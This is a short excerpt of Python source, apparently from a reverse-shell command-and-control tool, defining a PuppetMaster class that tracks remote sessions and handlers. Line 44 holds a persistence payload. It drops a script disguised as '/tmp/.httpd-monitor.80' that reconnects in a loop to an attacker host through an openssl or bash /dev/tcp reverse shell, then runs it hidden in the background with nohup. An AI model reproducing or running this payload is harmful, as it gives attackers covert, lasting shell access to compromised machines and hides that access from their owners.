(self)
| 35 | |
| 36 | class PuppetMaster: |
| 37 | def __init__(self): |
| 38 | self.sessions = list() |
| 39 | self.handlers = list() |
| 40 | self.quiet = False |
| 41 | self.Persistence = False |
| 42 | self.current_session = None |
| 43 | self.DuplicateSession = False |
| 44 | self.PersistenceCommand = f'(ps -ef|grep /tmp/.httpd-monitor.80|grep -v grep) || (echo "while true;do sleep 474;(mkfifo /tmp/-;bash -i</tmp/-|&openssl s_client -quiet -connect {reverse_host}:{reverse_ssl_port}>/tmp/-;rm /tmp/-)||(bash -i>&/dev/tcp/{reverse_host}/{reverse_tcp_port} 0>&1); done;">/tmp/.httpd-monitor.80 && chmod +x /tmp/.httpd-monitor.80 && (nohup bash /tmp/.httpd-monitor.80 >/dev/null 2>&1 &))' |
| 45 | |
| 46 | async def execute_cmd(self, command): |
| 47 | command = command + "\n" |
nothing calls this directly
no outgoing calls
no test coverage detected